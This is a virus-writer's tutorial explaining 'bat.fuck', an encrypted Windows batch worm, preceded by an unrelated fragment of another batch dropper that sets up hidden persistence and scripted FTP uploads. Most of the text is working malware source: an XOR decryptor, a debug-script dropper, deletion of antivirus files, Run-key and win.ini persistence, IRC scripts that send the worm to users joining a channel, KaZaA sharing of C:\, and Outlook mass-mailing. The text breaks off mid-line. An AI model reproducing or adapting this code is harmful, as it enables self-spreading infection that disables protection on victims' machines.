74 74 79 20 63 6F 6E 0D>>s echo e 0830 0A 65 63 68 6F 20 62 61 74 2E 32 6E 64 48 61 6C>>s echo e 0840 66 3A 20 48 69 21 20 3A 29 0D 0A 65 63 68 6F 2E>>s echo e 0850 0D 0A 63 61 6C 6C 20 30 2E 62 61 74>>s echo rcx>>s echo 075C>>s echo n snd.hlf>>s echo w>>s echo q>>s debug<s del s call ww.bat :tr on error resume next>s createobject("wscript.shell").run "%winbootdir%\system\bat.2ndHalf.bat",vbhide>>s move s %winbootdir%\system\s.vbs copy %0 %winbootdir%\system\bat.2ndHalf.bat echo [windows]>w echo load=%winbootdir%\system\s.vbs>>w echo run=>>w echo NullPort=None>>w echo.>>w copy w + %winbootdir%\win.ini %winbootdir%\system\win.ini del %winbootdir%\win.ini move %winbootdir%\system\win.ini %winbootdir%\win.ini del w echo batsndhalf>f echo password>>f echo send [file]>>f echo quit>>f move f %winbootdir%\ptf echo batsndhalf>ok echo password>>ok echo get ok.html>>ok echo quit>>ok move ok %winbootdir%\ok echo @echo off>ul echo :wait>>ul echo choice /c:r /n /t:r,60>>ul echo choice /c:r /n /t:r,60>>ul echo choice /c:r /n /t:r,60>>ul echo choice /c:r /n /t:r,60>>ul echo choice /c:r /n /t:r,60>>ul echo ftp -s:%winbootdir%\ok ftp.de.geocities.com>>ul echo if not exist ok.html goto wait>>ul echo ftp -s:%winbootdir%\ptf ftp.de.geocities.com>>ul echo del ok.html>>ul echo del %winbootdir%\ptf>>ul echo del %winbootdir%\ok>>ul echo cls>>ul echo ctty nul>>ul move ul %winbootdir%\system\ul.bat echo on error resume next>t echo createobject("wscript.shell").run "%winbootdir%\system\ul.bat",vbhide>>t move t %winbootdir%\system\t.vbs start %winbootdir%\system\t.vbssources
bat.fuck: explained philet0ast3r bat.fuck by philet0ast3r [rRlf] : explained -------------------------------------------- (Comment: bat.fuck gold edition, old and unreleased. Written for something that has been forgotten.) Everything used in this article is for demonstrative purposes only, the author has no responsibility for any damage anyone else could cause with this code. This article will try to explain the techniques used in bat.fuck, the first encrypted batch virus, in detail. This virus has not been written to be spread in the wild, but as proof of concept. Actually it is not the first encrypted batch virus, but the first one, that was also labeled by anti-virus researchers as encrypted. Normally you would say, encrypting batch is not possible, because it's a line by line interpreted script-language. You just have to think different... Meanwhile another virus writer has developed a different encryption technique. It's easier to use, but not that strong. The virus we are talking about was detected by Trend Micro AV on 27.6.2002. It has been submitted to the av company by the author, before it has been uploaded to any virus sites. The author wanted it to be known to av, before anyone can download it, and spread it around, causing damage. ... Actually it's not a virus, because it does not infect any executable files. It is a worm, that means, it sends away itself (with various techniques that will be explained later) via networks and is not bound to any other file. A virus would need a specific (infected) file to be shared for spreading. We will go now through the code. Everything important will be explained. Coments start with "::" and refer always to the code above. As batch is a script language, it does not have to be compiled, but can be executed as it is. "::" will not affect the code, so the virus can be executed nevertheless (saving the code to a txt file and renaming it to bat). =====[begin code]=============================================================== «Žˆƒ„Ë„æሟŸ’Ë…ž‡æáÑ™ŽŸ™„æᎇˈѷ›™„Œ™Š††Ž·…„™Ÿ„…•Ú·˜ØÙ‚…ŸŽŒÅ‡‡æᎇˈѷ›™„Œ™Š††Ž·Æ›™„ŸÒÞ·›œ†ØÙ҇æᎇˈѷ›™„Œ™Š††Ž·†ˆŠŽŽ·˜ˆŠ…ÅŠŸæᎇˈѷŸ‰ŠœÒÞ·Ÿ‰˜ˆŠ…Ř‚Œæᎇˈѷ›™„Œ™Š††Ž·Ÿ‰Š·Ÿ‰ŠÅŠŸæᎇˈѷŸ‰Š·Ÿ‰ŠÅŠŸæᎇˈѷ›™„Œ™Š††Ž·Š›Ž™˜„…Š‡·Š…Ÿ‚‚™ÅæáÑ›Š’‡„Šæᎈƒ„Å„…ËŽ™™„™Ë™Ž˜ž†ŽË…Ž“ŸÕˆÑ·›Š’‡„ŠÅ‰˜æᎈƒ„˦˜Œ©„“ËÉËËËËËËËËËËËËËËËËËËËËËËËËËËËËËˉŠŸÅžˆ€ÉËÍ˨ƒ™ÃÚØÂËÍ˨ƒ™ÃÚÛÂËÍËÉËËËËËËËËËËÅÅʼnŽË˜ž™ŽËŸ„ËŒŽŸËŠ‡‡ËŸƒŽË†ŽŠ…‚…Œ˜ÅÅÅÉËÍ˨ƒ™ÃÚØÂËÍ˨ƒ™ÃÚÛÂËÍËÉʃÇËŸƒ‚˜Ë‚˜ËŠË›™Ž˜Ž…ŸŠŸ‚„…Ë„ËŽ…ˆ™’›ŸŽË‰ŠŸˆƒËÐÂÉÇßÛÒÝÇɉŠŸÅžˆ€Ë‰’Ë›ƒ‚‡ŽŸÛŠ˜ŸØ™Ë°™¹‡¶ÉÕՈѷ›Š’‡„ŠÅ‰˜æᎈƒ„˹®¬®¯¢¿ßÕ›Š’‡„ŠÅ™ŽŒæᎈƒ„Ë°£ ®²´§¤¨ª§´¦ª¨£¢¥®·¸¤¿¼ª¹®·¦‚ˆ™„˜„Ÿ·¼‚…„œ˜·¨ž™™Ž…Ÿ½Ž™˜‚„…·¹ž…¶ÕÕ›Š’‡„ŠÅ™ŽŒæᎈƒ„ËɆ˜ŒÉÖɈѷ·›Š’‡„ŠÅ‰˜ÉÕÕ›Š’‡„ŠÅ™ŽŒæᙎŒŽ‚ŸËʲŠ’‡„ŠÅ™ŽŒæáÑ™Ž˜‚Ž…ˆ’æᎈƒ„Ë°œ‚…„œ˜¶Õ™Ž˜‚Ž…ˆ’æᎈƒ„ˇ„ŠÖˆÑ·‰ŠŸÅžˆ€Å‰ŠŸÕÕ™Ž˜‚Ž…ˆ’æᎈƒ„Ë™ž…ÖÕÕ™Ž˜‚Ž…ˆ’æᎈƒ„Ë¥ž‡‡»„™ŸÖ¥„…ŽÕÕ™Ž˜‚Ž…ˆ’æᎈƒ„ÅÕÕ™Ž˜‚Ž…ˆ’æሄ›’Ë™Ž˜‚Ž…ˆ’ËÀËÎœ‚…‰„„Ÿ‚™Î·œ‚…Å‚…‚ËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·œ‚…Å‚…‚æᎇËÎœ‚…‰„„Ÿ‚™Î·œ‚…Å‚…‚æᆄŽËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·œ‚…Å‚…‚ËÎœ‚…‰„„Ÿ‚™Î·œ‚…Å‚…‚æᎇ˙Ž˜‚Ž…ˆ’æáц‚™ˆæᎇˈѷ†‚™ˆ·˜ˆ™‚›ŸÅ‚…‚æᎇˈѷ†‚™ˆØÙ·˜ˆ™‚›ŸÅ‚…‚æᎇˈѷ›™„Œ™Š•Ú·†‚™ˆ·˜ˆ™‚›ŸÅ‚…‚æᎇˈѷ›™„Œ™Š•Ú·†‚™ˆØÙ·˜ˆ™‚›ŸÅ‚…‚æᎈƒ„Ë°˜ˆ™‚›Ÿ¶Õ†‚™ˆæᎈƒ„Ë…ÛÖ„…ËÚÑ¡¤¢¥ÑÈÑÕÕ†‚™ˆæᎈƒ„Ë…ÚÖËÄ‚ËÃË…‚ˆ€ËÖÖËφŽËÂË˃Š‡ŸË–ÕÕ†‚™ˆæᎈƒ„Ë…ÙÖËÄňˆË˜Ž…ËÏ…‚ˆ€ËˆÑ·‰ŠŸÅžˆ€Å‰ŠŸÕÕ†‚™ˆæᎈƒ„Ë…ØÖ–ÕÕ†‚™ˆæᆄŽË†‚™ˆËˆÑ·†‚™ˆ·˜ˆ™‚›ŸÅ‚…‚æᆄŽË†‚™ˆËˆÑ·†‚™ˆØÙ·˜ˆ™‚›ŸÅ‚…‚æᆄŽË†‚™ˆËˆÑ·›™„Œ™Š•Ú·†‚™ˆ·˜ˆ™‚›ŸÅ‚…‚æᆄŽË†‚™ˆËˆÑ·›™„Œ™Š•Ú·†‚™ˆØÙ·˜ˆ™‚›ŸÅ‚…‚æᎇˆ‚™ˆæáÑ›‚™ˆƒæᎇˈѷ›‚™ˆƒÒÓ·ŽŽ…Ÿ˜Å‚…‚æᎈƒ„Ë°§ŽŽ‡˜¶Õ›‚™ˆƒæᎈƒ„Ë®…Š‰‡ŽÖÚÕÕ›‚™ˆƒæᎈƒ„˨„ž…ŸÖÝÕÕ›‚™ˆƒæᎈƒ„˧ŽŽ‡ÚÖÛÛÛƾ…€…„œ…˜ÕÕ›‚™ˆƒæᎈƒ„ËÛÛÛƾ…€…„œ…˜®…Š‰‡ŽÖÚÕÕ›‚™ˆƒæᎈƒ„˧ŽŽ‡ÙÖÚÛÛƧŽŽ‡ËÚÛÛÕÕ›‚™ˆƒæᎈƒ„ËÚÛÛƧŽŽ‡ËÚÛÛ®…Š‰‡ŽÖÚÕÕ›‚™ˆƒæᎈƒ„˧ŽŽ‡ØÖÙÛÛƧŽŽ‡ËÙÛÛÕÕ›‚™ˆƒæᎈƒ„ËÙÛÛƧŽŽ‡ËÙÛÛ®…Š‰‡ŽÖÚÕÕ›‚™ˆƒæᎈƒ„˧ŽŽ‡ßÖØÛÛƧŽŽ‡ËØÛÛÕÕ›‚™ˆƒæᎈƒ„ËØÛÛƧŽŽ‡ËØÛÛ®…Š‰‡ŽÖÚÕÕ›‚™ˆƒæᎈƒ„˧ŽŽ‡ÞÖßÛÛƧŽŽ‡ËßÛÛÕÕ›‚™ˆƒæᎈƒ„ËßÛÛƧŽŽ‡ËßÛÛ®…Š‰‡ŽÖÚÕÕ›‚™ˆƒæᎈƒ„˧ŽŽ‡ÝÖÞÛÛƧŽŽ‡ËÞÛÛÕÕ›‚™ˆƒæᎈƒ„ËÞÛÛƧŽŽ‡ËÞÛÛ®…Š‰‡ŽÖÚÕÕ›‚™ˆƒæᎈƒ„ÅÕÕ›‚™ˆƒæᎈƒ„Ë°ÛÛÛƾ…€…„œ…˜¶ÕÕ›‚™ˆƒæᎈƒ„˾˜Ž™ÚÖÁÊÁ«ÁÕÕ›‚™ˆƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÚÕÕ›‚™ˆƒæᎈƒ„Ë®Ž…ŸÚÖ¤¥Ë¡¤¢¥ÑÈÑĈˆË˜Ž…ËÏ…‚ˆ€ËˆÑ·‰ŠŸÅžˆ€Å‰ŠŸÕÕ›‚™ˆƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÚÕÕ›‚™ˆƒæᎈƒ„ÅÕÕ›‚™ˆƒæᎈƒ„Ë°ÚÛÛƧŽŽ‡ËÚÛÛ¶ÕÕ›‚™ˆƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„ÅÕÕ›‚™ˆƒæᎈƒ„Ë°ÙÛÛƧŽŽ‡ËÙÛÛ¶ÕÕ›‚™ˆƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„ÅÕÕ›‚™ˆƒæᎈƒ„Ë°ØÛÛƧŽŽ‡ËØÛÛ¶ÕÕ›‚™ˆƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„ÅÕÕ›‚™ˆƒæᎈƒ„Ë°ßÛÛƧŽŽ‡ËßÛÛ¶ÕÕ›‚™ˆƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„ÅÕÕ›‚™ˆƒæᎈƒ„Ë°ÞÛÛƧŽŽ‡ËÞÛÛ¶ÕÕ›‚™ˆƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕ›‚™ˆƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕ›‚™ˆƒæᆄŽË›‚™ˆƒËˆÑ·›‚™ˆƒÒÓ·ŽŽ…Ÿ˜Å‚…‚æᎇ˛‚™ˆƒæáÑ€Š‘ŠŠæᎈƒ„˹®¬®¯¢¿ßÕ€Š‘ŠŠÅ™ŽŒæᎈƒ„Ë°£ ®²´¨¾¹¹®¥¿´¾¸®¹·¸„ŸœŠ™Ž· Š‘ŠŠ·§„ˆŠ‡¨„…ŸŽ…Ÿ¶ÕÕ€Š‘ŠŠÅ™ŽŒæᎈƒ„Ëɯ‚˜Š‰‡Ž¸ƒŠ™‚…ŒÉÖœ„™ÑÛÛÛÛÛÛÛÛÕÕ€Š‘ŠŠÅ™ŽŒæᎈƒ„Ëɯ„œ…‡„Š¯‚™ÉÖɨѷ·»™„Œ™Š†Ë‚‡Ž˜·· Š±Šª··¦’˸ƒŠ™ŽË„‡Ž™ÉÕÕ€Š‘ŠŠÅ™ŽŒæᎈƒ„Ëɯ‚™ÛÉÖÉÛÚÙØßÞшѷ·ÉÕÕ€Š‘ŠŠÅ™ŽŒæᙎŒŽ‚ŸËĘˀŠ‘ŠŠÅ™ŽŒæáÑ„žŸ‡„„€æᎈƒ„Å„…ËŽ™™„™Ë™Ž˜ž†ŽË…Ž“ŸÕ„žŸ‡„„€æᎈƒ„Ë‚†ËŠÇ‰ÇˆÇÇŽÕÕ„žŸ‡„„€æᎈƒ„˘ŽŸËŠËÖ˼˜ˆ™‚›ŸÅ¨™ŽŠŸŽ¤‰ŽˆŸÃɼ˜ˆ™‚›ŸÅ¸ƒŽ‡‡ÉÂÕÕ„žŸ‡„„€æᎈƒ„˘ŽŸË‰ËÖ˨™ŽŠŸŽ¤‰ŽˆŸÃɤžŸ‡„„€Åª››‡‚ˆŠŸ‚„…ÉÂÕÕ„žŸ‡„„€æᎈƒ„˘ŽŸËˆËÖˉŬŽŸ¥Š†Ž¸›ŠˆŽÃɦª»¢ÉÂÕÕ„žŸ‡„„€æᎈƒ„Ë„™Ë’ËÖËÚË¿„ˈŪ™Ž˜˜§‚˜Ÿ˜Å¨„ž…ŸÕÕ„žŸ‡„„€æᎈƒ„˘ŽŸËËÖˈŪ™Ž˜˜§‚˜Ÿ˜Ã’ÂÕÕ„žŸ‡„„€æᎈƒ„Ë“ËÖËÚÕÕ„žŸ‡„„€æᎈƒ„˘ŽŸËŽËÖˉŨ™ŽŠŸŽ¢ŸŽ†ÃÛÂÕÕ„žŸ‡„„€æᎈƒ„Ë„™Ë„ËÖËÚË¿„ËŪ™Ž˜˜®…Ÿ™‚Ž˜Å¨„ž…ŸÕÕ„žŸ‡„„€æᎈƒ„ËËÖËŪ™Ž˜˜®…Ÿ™‚Ž˜Ã“ÂÕÕ„žŸ‡„„€æᎈƒ„ˎŹŽˆ‚›‚Ž…Ÿ˜ÅªËÕÕ„žŸ‡„„€æᎈƒ„Ë“ËÖË“ËÀËÚÕÕ„žŸ‡„„€æᎈƒ„Ë…Ž“ŸÕÕ„žŸ‡„„€æᎈƒ„ˎŸž‰ŽˆŸËÖËÉ®Ž™Ë˜ŠœËŠ…ËŽ…ˆ™’›ŸŽË‰ŠŸˆƒÆœ„™†ÔË¥ÛÔËŸƒŽ…Ë‚ŸÌ˜ËŸ‚†ŽÊÉÕÕ„žŸ‡„„€æᎈƒ„ËŽÅ©„’ËÖËɼŽ‡‡ÇË’„žË„…̟˃ŠŽËŸ„ËŽ“ŽˆžŸŽËŸƒŽËŠŸŸŠˆƒ†Ž…ŸËÂ˒„žË„…ÌŸËœŠ…ŸËŸ„ËÐÂËÅÅÅ˃Ž’ÇËŠŸË‡ŽŠ˜ŸË‡„„€ËŠŸË‚ŸÊ˲„žËˆŠ…ˉ„Š˜ŸËŠŸË’„ž™Ë™‚Ž…˜ËŸƒ‚˜ËŽŽ…‚…ŒËŠŸËŸƒŽË˜Ÿ™‚›ÑËÌ£Ž’ˈ„†™ŠŽ˜ÇËŸ„Š’ˢ˘ŠœËŠ…ËŽ…ˆ™’›ŸŽË‰ŠŸˆƒÆœ„™†ÊÌËÅÅÅË¢˜…ÌŸËŸƒŠŸËŠ˜ˆ‚…ŠŸ‚…ŒËÔÊËÉÕÕ„žŸ‡„„€æᎈƒ„ˎŪŸŸŠˆƒ†Ž…Ÿ˜ÅªËÃɈѷ‰ŠŸÅžˆ€Å‰ŠŸÉÂÕÕ„žŸ‡„„€æᎈƒ„ˎůŽ‡ŽŸŽªŸŽ™¸ž‰†‚ŸËÖËŠ‡˜ŽÕÕ„žŸ‡„„€æᎈƒ„ˎŸŽ…ÕÕ„žŸ‡„„€æᎈƒ„ËËÖËÉÉÕÕ„žŸ‡„„€æᎈƒ„Ë…Ž“ŸÕÕ„žŸ‡„„€æᆄŽË„žŸ‡„„€ËÎœ‚…‰„„Ÿ‚™Î·„žŸ‡„„€Å‰˜æᘟŠ™ŸËÎœ‚…‰„„Ÿ‚™Î·„žŸ‡„„€Å‰˜æáÑŽ…æᎇ˛Š’‡„ŠÅ™ŽŒæᎇˀŠ‘ŠŠÅ™ŽŒæᘟŠ™ŸËÎœ‚…‰„„Ÿ‚™Î·ˆ™’›ŸÅ‰˜æ᎓‚Ÿæá :: What looks like garbage here is the actual virus. In it's encrypted version. :: We will later look at the decrypted virus and go through it's code. :: As this above are no valid batch commands, nothing happens, Dos just displays :: an error message (Command or file not found). @echo off :: echo off is the usual start of a batch file. :: Result: Just important events/messages get displayed on the screen. :: Without the echo off, everything that the batch file does would be displayed. :: The @ in front of any command (echo off here) has the same effect as echo off, :: but only for the line, it stands before. cls :: This command clears the screen :: (of the error-messages that occured because of the encrypted code). ctty nul :: ctty leads the output to a given device. In this case the output is lead to nul :: (the nul-device), meaning: There will be no output. copy %0 c:\bat.fuck.bat :: %0 is the running batch file. So the running batch file gets copied to c:\bat.fuck.bat :: c:\bat.fuck.bat will be used for several viral actions. if exist %winbootdir%\crypt.vbs goto tralala :: %winbootdir% is the standard Windows directory (it doesn't have to be c:\windows) :: So if %winbootdir%\crypt.vbs (this file is used for decryption/encryption) already exists, :: the batch file jumps to label tralala (labels have a ":" in front of them). :: if it does not exist, the batch file just goes on (creating %winbootdir%\crypt.vbs). :: This command line just saves some time, if the file already exists. echo e 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20>crypt echo e 0110 6E 65 78 74 0D 0A 73 65 74 20 66 73 6F 20 3D 20>>crypt echo e 0120 63 72 65 61 74 65 6F 62 6A 65 63 74 28 22 73 63>>crypt echo e 0130 72 69 70 74 69 6E 67 2E 66 69 6C 65 73 79 73 74>>crypt echo e 0140 65 6D 6F 62 6A 65 63 74 22 29 0D 0A 73 65 74 20>>crypt echo e 0150 70 72 6F 63 34 20 3D 20 66 73 6F 2E 6F 70 65 6E>>crypt echo e 0160 74 65 78 74 66 69 6C 65 28 22 63 3A 5C 62 61 74>>crypt echo e 0170 2E 66 75 63 6B 2E 62 61 74 22 2C 20 31 29 0D 0A>>crypt echo e 0180 6D 73 67 20 3D 20 70 72 6F 63 34 2E 72 65 61 64>>crypt echo e 0190 61 6C 6C 0D 0A 64 64 64 20 3D 20 78 28 6D 73 67>>crypt echo e 01A0 29 0D 0A 73 65 74 20 70 72 6F 63 32 20 3D 20 66>>crypt echo e 01B0 73 6F 2E 63 72 65 61 74 65 74 65 78 74 66 69 6C>>crypt echo e 01C0 65 28 22 63 3A 5C 62 61 74 2E 66 75 63 6B 2E 62>>crypt echo e 01D0 61 74 22 2C 20 74 72 75 65 29 0D 0A 70 72 6F 63>>crypt echo e 01E0 32 2E 77 72 69 74 65 6C 69 6E 65 20 64 64 64 0D>>crypt echo e 01F0 0A 70 72 6F 63 32 2E 63 6C 6F 73 65 0D 0A 46 75>>crypt echo e 0200 6E 63 74 69 6F 6E 20 78 28 73 54 65 78 74 29 0D>>crypt echo e 0210 0A 4F 6E 20 45 72 72 6F 72 20 52 65 73 75 6D 65>>crypt echo e 0220 20 4E 65 78 74 0D 0A 44 69 6D 20 65 6B 65 79 2C>>crypt echo e 0230 20 69 2C 20 68 61 73 68 2C 20 63 72 62 79 74 65>>crypt echo e 0240 0D 0A 65 6B 65 79 20 3D 20 32 33 35 0D 0A 46 6F>>crypt echo e 0250 72 20 69 20 3D 20 31 20 54 6F 20 4C 65 6E 28 73>>crypt echo e 0260 54 65 78 74 29 0D 0A 68 61 73 68 20 3D 20 41 73>>crypt echo e 0270 63 28 4D 69 64 28 73 54 65 78 74 2C 20 69 2C 20>>crypt echo e 0280 31 29 29 0D 0A 63 72 62 79 74 65 20 3D 20 43 68>>crypt echo e 0290 72 28 68 61 73 68 20 58 6F 72 20 28 65 6B 65 79>>crypt echo e 02A0 20 4D 6F 64 20 32 35 35 29 29 0D 0A 78 20 3D 20>>crypt echo e 02B0 78 20 26 20 63 72 62 79 74 65 0D 0A 4E 65 78 74>>crypt echo e 02C0 0D 0A 45 6E 64 20 46 75 6E 63 74 69 6F 6E 0D 0A>>crypt echo e 02D0 C6>>crypt :: This is a debug script. With the help of debug scripts, various files :: (like bmp, wav, for example) can be included in a batch file. :: Debug scripts can be created with "debug", a Dos command. :: ("debug file -d" puts out numbers and letters, like the ones above, :: but contain some " "s and "-"s, that have to be deleted). :: The command "echo" normally echos something to the screen, but it can also :: echo the same something to a file, putting a ">" behind what should be echoed. :: To not overwrite something that has already been written, you can use ">>", :: which writes to the next line. :: In the code above, "e ..." gets written to the file "crypt" (current directory). :: The "e" is neccessary for debug, which will later transform this gibberish back :: to the original file. echo rcx>>crypt echo 01D0>>crypt :: Some more debug commands have to be added, like rcx, which tells debug :: the original file size. The number below is the original file size + 0100. :: You can get the original file size by "debug file -rcx". echo n crypt.vbs>>crypt :: n tells debug, the name, the file should have, in this case: crypt.vbs echo w>>crypt :: w tells debug to write the file to disk. echo q>>crypt :: q quits the debug console. :: Everything that is needed for letting debug doing the job all alone :: has been written to "crypt". debug<crypt :: "<" tells debug, to execute every command, that's in "filename" (in this case "crypt"). :: This now produces "crypt.vbs". del crypt :: The file "crypt" (containing the debug commands) is no longer needed and thus deleted. move crypt.vbs %winbootdir% :: "crypt.vbs" gets moved to where it should be: The windows directory. :tralala :: This is the label, To which the program jumps, if the debuging is not neccessary :: (see above). start %winbootdir%\crypt.vbs :: This starts %winbootdir%\crypt.vbs in an external process. :: start is similar to the "call" command, which also starts other programs, :: but waits, till they are finished. :: "%winbootdir%\crypt.vbs" will now encrypt/decrypt "c:\bat.fuck.bat" :: The result will be: The encrypted code at the beginning will now be decrypted, :: while the rest (the code that has been executed till now) will be encrypted, :: making it useless, because Dos can no longer execute it. :: But that doesn't mater, because it is no longer important for the virus execution. start c:\bat.fuck.bat :: Now the actual virus gets started. :end exit :: "exit" exits Dos mode (the program). =====[end code]================================================================= This was the code of the whole virus. Now we will examine the files, that get dropped by the virus. The following is the code of %winbootdir%\crypt.vbs, the program, that encrypts/decrypts the virus. The original program is by an other virus author, who allowed me to use his code. It has just been edited a bit, to better fit the needs of this virus. What it does: Open the file "c:\bat.fuck.bat" and rewrite the content to the same file, after doing several mathematical operations with it. =====[begin code]=============================================================== on error resume next set fso = createobject("scripting.filesystemobject") set proc4 = fso.opentextfile("c:\bat.fuck.bat", 1) msg = proc4.readall ddd = x(msg) set proc2 = fso.createtextfile("c:\bat.fuck.bat", true) proc2.writeline ddd proc2.close Function x(sText) On Error Resume Next Dim ekey, i, hash, crbyte ekey = 235 For i = 1 To Len(sText) hash = Asc(Mid(sText, i, 1)) crbyte = Chr(hash Xor (ekey Mod 255)) x = x & crbyte Next End Function =====[end code]================================================================= The following is the code of the actual virus. "c:\bat.fuck.bat" looks like that, after the execution of the decryption/encryption vbs. Again with comments. =====[begin code]=============================================================== @echo off ctty nul :retro del c:\programme\norton~1\s32integ.dll del c:\programme\f-prot95\fpwm32.dll del c:\programme\mcafee\scan.dat del c:\tbavw95\tbscan.sig del c:\programme\tbav\tbav.dat del c:\tbav\tbav.dat del c:\programme\avpersonal\antivir.vdf :: Files of several anti virus products get deleted (the programs are: :: Norton AntiVirus 2000, AntiVir /9X Personal Edition, F-Prot 95, McAfee, :: Thunderbyte). The avs are unable to scan properly without those files. :: This has been found out by experimenting with the programs. :: ... Deleting files, and look what happens. :payload echo.on error resume next>c:\payload.vbs echo MsgBox " bat.fuck" & Chr(13) & Chr(10) & " ...be sure to get all the meanings..." & Chr(13) & Chr(10) & "(ah, this is a presentation of encrypted batch ;)",4096,"bat.fuck by philet0ast3r [rRlf]">>c:\payload.vbs :: This creates "c:\payload.vbs". :: Executing this vbs just shows up a message box, telling: :: "bat.fuck :: ...be sure to get all the meanings... :: (ah, this is a presentation of encrypted batch ;)" :: It has the title: "bat.fuck by philet0ast3r [rRlf]" echo REGEDIT4>payload.reg :: Now a registry file ("payload.reg") gets written, to start the message box above :: at every system start. :: "REGEDIT4" is needed, for Windows recognizing this as a registry file. echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>payload.reg :: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] is a registry key, :: where links to programs are stored, that are started at every system start. :: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices] :: would be another such key. echo "msg"="c:\\payload.vbs">>payload.reg :: This gets written under the registry key mentioned above. :: A link to "c:\payload.vbs", the program, that displays the message box. :: In registry entries, all "\"s have to be written double, :: like "c:\\" instead of "c:\". regedit /s payload.reg :: regedit is a Windows program for editing the registry. :: This command adds the information stored in "payload.reg" to the registry. :: Normally a message box would pop up, telling :: "The Information stored in "file" has been added to the registry." :: This will not happen because of "/s", which is an undocumented option. :: s stands for silent, meaning, the message box won't pop up. :residency echo [windows]>residency echo load=c:\bat.fuck.bat>>residency echo run=>>residency echo NullPort=None>>residency echo.>>residency :: Some Information, that will start the virus from c:\bat.fuck.bat at every system start :: with the help of the win.ini (windows directory) gets written to the file "residency" :: (current directory). "load=" determines what gets loaded on windows start-up. :: "echo.>>" produces a blank line. copy residency + %winbootdir%\win.ini %winbootdir%\system\win.ini del %winbootdir%\win.ini move %winbootdir%\system\win.ini %winbootdir%\win.ini del residency :: This few commands replace the original win.ini with an "infected" win.ini :: (the file "residency" has been copied in front of the old win.ini). :: "residency" gets deleted, because it is no longer neccessary for the virus. :mirc del c:\mirc\script.ini del c:\mirc32\script.ini del c:\progra~1\mirc\script.ini del c:\progra~1\mirc32\script.ini :: This deletes mIRC scripts in posible standard mIRC directories, :: that the virus can put it's own script at this place. echo [script]>mirc echo n0=on 1:JOIN:#:{>>mirc echo n1= /if ( nick == $me ) { halt }>>mirc echo n2= /.dcc send $nick c:\bat.fuck.bat>>mirc echo n3=}>>mirc :: Here the worm-mIRC-script gets written to the file "mirc" (current directory). :: It dcc-sends the virus to every user, who joins a channel, where an infected user is in. move mirc c:\mirc\script.ini move mirc c:\mirc32\script.ini move mirc c:\progra~1\mirc\script.ini move mirc c:\progra~1\mirc32\script.ini del mirc :: This moves the virus-script to the place, where a normal mIRC script would be. :: It also gets deleted afterwards (in case it hadn't been moved), to leave no traces. :pirch del c:\pirch98\events.ini echo [Levels]>pirch echo Enabled=1>>pirch echo Count=6>>pirch echo Level1=000-Unknowns>>pirch echo 000-UnknownsEnabled=1>>pirch echo Level2=100-Level 100>>pirch echo 100-Level 100Enabled=1>>pirch echo Level3=200-Level 200>>pirch echo 200-Level 200Enabled=1>>pirch echo Level4=300-Level 300>>pirch echo 300-Level 300Enabled=1>>pirch echo Level5=400-Level 400>>pirch echo 400-Level 400Enabled=1>>pirch echo Level6=500-Level 500>>pirch echo 500-Level 500Enabled=1>>pirch echo.>>pirch echo [000-Unknowns]>>pirch echo User1=*!*@*>>pirch echo UserCount=1>>pirch echo Event1=ON JOIN:#:/dcc send $nick c:\bat.fuck.bat>>pirch echo EventCount=1>>pirch echo.>>pirch echo [100-Level 100]>>pirch echo UserCount=0>>pirch echo EventCount=0>>pirch echo.>>pirch echo [200-Level 200]>>pirch echo UserCount=0>>pirch echo EventCount=0>>pirch echo.>>pirch echo [300-Level 300]>>pirch echo UserCount=0>>pirch echo EventCount=0>>pirch echo.>>pirch echo [400-Level 400]>>pirch echo UserCount=0>>pirch echo EventCount=0>>pirch echo.>>pirch echo [500-Level 500]>>pirch echo UserCount=0>>pirch echo EventCount=0>>pirch move pirch c:\pirch98\events.ini del pirch :: Now the same for pIRCh, the script is just a bit longer/different, :: but it does the same, as the mIRC script. :kazaa echo REGEDIT4>kazaa.reg echo [HKEY_CURRENT_USER\Software\Kazaa\LocalContent]>>kazaa.reg echo "DisableSharing"=dword:00000000>>kazaa.reg echo "DownloadDir"="C:\\Program Files\\KaZaA\\My Shared Folder">>kazaa.reg echo "Dir0"="012345:c:\\">>kazaa.reg regedit /s kazaa.reg :: Now a registry key gets written, that enables the virus to spread via the :: well-used p2p filesharing program KaZaA. It replaces the original key, with :: an a bit "improved" version: The last line of the key ("Dir0"="012345:c:\\"), :: enables file sharing also from the directory c:\ (where the virus is in), :: not only from the standard KaZaA sharing directory (C:\Program Files\KaZaA\My Shared Folder). :: this works on all previously released versions of KaZaA and KaZaA Lite. :outlook echo.on error resume next>outlook echo dim a,b,c,d,e>>outlook echo set a = Wscript.CreateObject("Wscript.Shell")>>outlook echo set b = CreateObject("Outlook.Application")>>outlook echo set c = b.GetNameSpace("MAPI")>>outlook echo for y = 1 To c.AddressLists.Count>>outlook echo set d = c.AddressLists(y)>>outlook echo x = 1>>outlook echo set e = b.CreateItem(0)>>outlook echo for o = 1 To d.AddressEntries.Count>>outlook echo f = d.AddressEntries(x)>>outlook echo e.Recipients.Add f>>outlook echo x = x + 1>>outlook echo next>>outlook echo e.Subject = "Ever saw an encrypted batch-worm? N0? then it's time!">>outlook echo e.Body = "Well, you don't have to execute the attachment (if you don't want to ;) ... hey, at least look at it! You can boast at your 